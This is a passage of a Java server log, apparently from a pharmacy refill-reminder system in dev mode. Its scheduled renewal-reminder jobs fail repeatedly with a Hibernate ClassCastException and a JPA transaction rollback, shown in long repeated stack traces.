at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 04:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 04:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 04:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 04:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 04:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 04:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 04:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 04:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 04:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 04:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 04:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 04:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 04:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 05:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 05:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 05:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 05:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 05:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 05:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 05:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 05:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 05:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 05:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 05:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 05:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 05:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 05:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 05:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at 